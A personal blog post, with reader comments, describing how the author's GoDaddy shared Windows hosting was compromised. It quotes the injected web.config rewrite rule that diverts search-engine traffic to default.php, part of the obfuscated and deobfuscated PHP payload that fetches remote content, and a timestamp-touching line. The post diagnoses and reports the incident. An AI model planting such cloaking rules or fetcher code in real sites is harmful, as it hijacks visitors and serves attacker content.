GoDaddy shared Windows hosting compromised

A week or so ago, I talked briefly about some issues I was having with this blog and my previous static site on GoDaddy’s shared Windows hosting (the Deluxe version if you’re interested). It involves mysterious PHP files and modifications to my web.config files.


For me GoDaddy shared Windows hosting has always been about hosting my blog on an IIS instance. The blog is an ASP.NET application called GraffitiCMS, open-sourced a few years back, although I’ve now altered the code quite a bit, and I currently run two other blogs with it on Microsoft Azure with no issues. GoDaddy, for whatever reason, but presumably to make it easy for others to use WordPress, also run a PHP instance on the same shared hosting server. Me, I’d rather it wasn’t there. Period.

Anyway, I’m into making my sites secure. This involves (among other things) getting an SSL certificate, and I’d have to say GoDaddy rip you off a bit here: you have to buy theirs, and you have to have a certain higher level of hosting (which I don’t have). So, I’ve been moving all my domain hosting off GoDaddy and onto AWS and Azure. is the last to be done.

I’ve already moved the static site to and left a web.config here on GoDaddy with a permanent redirect in place. This blog will be moving soon (I have about 5 months left on the hosting plan I pay for) and at that point, will have its DNS pointing to Azure. Consequently, a couple of weeks ago, I’d cleaned up my folder structures here (and files therein) to only have the bare necessities ready for this move.

And then I discovered the hacking.

The hack

In essence, every few days some process, not part of anything I run, was:

Modifying my web.config file to add a block that watched URL requests and rewrote certain ones to route to default.php instead.

        <rule name="Protect files and directories from prying eyes" stopProcessing="false">
          <match url="^(.*)$" ignoreCase="true" />
          <conditions logicalGrouping="MatchAny">
            <add input="{HTTP_USER_AGENT}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
            <add input="{HTTP_REFERER}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
          <action type="Rewrite" url="default.php" appendQueryString="false" />

In essence, the code says “if the HTTP user agent includes those well-known web names, or the HTTP referrer does, route to and execute default.php instead”.

Adding an human-unreadable, obfuscated default.php file. It’s one line, no line breaks, 7KB in size, that starts out like this:

<?php ${"G\x4cO\x42\x41L\x53"}["\x6d\x6bm\x6a\x6ag\x76\x6ft"]="m";[…]?>

Yes, the ellipsis hides the other 7000+ characters. There’s a site ( that will deobfuscate such PHP code. It is instructive to look at the results (this is only the first part):

${"GLOBALS"}["mkmjjgvot"]    = "m";
${"GLOBALS"}["ydwkqwqmmzt"]  = "scheme";
${"GLOBALS"}["kmfpgywacgx"]  = "page";
${"GLOBALS"}["wdsbtdvhyt"]   = "result";
${"GLOBALS"}["pndmnrldpis"]  = "scheme";
${"GLOBALS"}["sunctqfyxono"] = "url";
${"GLOBALS"}["gpsgtnjjhme"]  = "ch";
if (!function_exists("getUrla")) {
    function getUrla($url)
        if (function_exists("curl_init")) {
            ${${"GLOBALS"}["gpsgtnjjhme"]} = curl_init();
            ${"GLOBALS"}["ktuqlqodikj"]    = "ch";
            ${"GLOBALS"}["nhtqvb"]         = "result";
            ${"GLOBALS"}["gufkpfcyox"]     = "ch";
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_URL, ${${"GLOBALS"}["sunctqfyxono"]});
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
            curl_setopt(${${"GLOBALS"}["gufkpfcyox"]}, CURLOPT_TIMEOUT, 10);
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_RETURNTRANSFER, true);
            ${${"GLOBALS"}["nhtqvb"]} = curl_exec(${${"GLOBALS"}["ktuqlqodikj"]});
        } else {
            ${"GLOBALS"}["ogmtlyigg"]    = "result";
            ${${"GLOBALS"}["ogmtlyigg"]} = file_get_contents(${${"GLOBALS"}["sunctqfyxono"]});
        return ${${"GLOBALS"}["wdsbtdvhyt"]};
${${"GLOBALS"}["pndmnrldpis"]} = "http://";

... more code ...

if (@file_exists("cleaner.php")) {

Now I don’t know PHP at all, but even this PHP-noob can spot randomized variable names being added to the global namespace. A bit later there’s even a call to a PHP page on a site called Can you spell “hack”?

Finally, adding a file called cleaner.php, which is referenced by the final bit of that default.php file.

@touch('web.config',-1,-1); @touch('default.php',-1,-1);

(In other words, updating the timestamps for both web.config and default.php to the current time, ignoring errors.)

Checking my files

Pretty much the first thing I did was to FTP-download my entire folder structure from the hosting to my main machine. And then verified all the files to make sure that there was nothing else hiding deep in the site. Nope, nothing. The compiled ASP.NET code is exactly the same as the other two blogs I run. There were no PHP files anywhere else. I even checked every single file for the character sequence “PHP”. Nope.


Something else in that shared Windows hosting server has been compromised. Some other site has been hacked, and that hack is then compromising my site and hosting, and almost certainly others as well. Also, for those that don’t know, GoDaddy publishes the “Absolute Hosting Path” for your hosting: it is of the form “D:\Hosting\[7-digit-number]\html”. I wonder if that embedded number is sequential…

(Aside: I wrote all this here because I can then contact GoDaddy support and point them to this post, rather than try and explain everything from scratch.)

lots of padlocks banner

Loading similar posts...   Loading links to posts on similar topics...

4 Responses

#1 Rich said...
19-Sep-18 11:15 AM

You seem confident godaddy support will understand your post!

julian m bucknall avatar
#2 julian m bucknall said...
11-Oct-18 4:34 PM

All: It's now been three weeks since I wrote this post and linked to it from GoDaddy's Community forums. Let's put it like this: despite my checking every day since, the hack has not recurred. I'm guessing that someone at GoDaddy saw the post, read my blog, and tracked down the shared hosting culprit and squashed it. All without responding to me in any way, shape, or form. Sigh.

I'll continue checking ad hoc when I think of doing it.

Cheers, Julian

#3 MJ said...
20-Jan-19 9:03 PM

Thought I would add a note in case others find this blog as I did. In Dec 2018 my GoDaddy site was hijacked. Two php files were uploaded and my web config was edited. My biggest suspect at the moment is the FTP client. Not quite sure how else the attacker could have gotten to the root. GoDaddy does not offer a way to modify permissions on the primary FTP account (at least not that I have seen so far).

julian m bucknall avatar
#4 julian m bucknall said...
20-Jan-19 10:22 PM

@MJ: Now that' s an interesting thought, very interesting. One of the things I also did at the time was to reset my FTP password for the site, mainly because I was being ultra cautious. Since I use a password manager, both the original and the new password were 14 characters, utterly random. Had my previous one been leaked? Dunno.

Anyway, it's all moot now: I've just completed the migration of this blog to Azure from GoDaddy, and it is now secure as well.

Cheers, Julian

Leave a response

Note: some MarkDown is allowed, but HTML is not. Expand to show what's available.

  •  Emphasize with italics: surround word with underscores _emphasis_
  •  Emphasize strongly: surround word with double-asterisks **strong**
  •  Link: surround text with square brackets, url with parentheses [text](url)
  •  Inline code: surround text with backticks `IEnumerable`
  •  Unordered list: start each line with an asterisk, space * an item
  •  Ordered list: start each line with a digit, period, space 1. an item
  •  Insert code block: start each line with four spaces
  •  Insert blockquote: start each line with right-angle-bracket, space > Now is the time...
Preview of response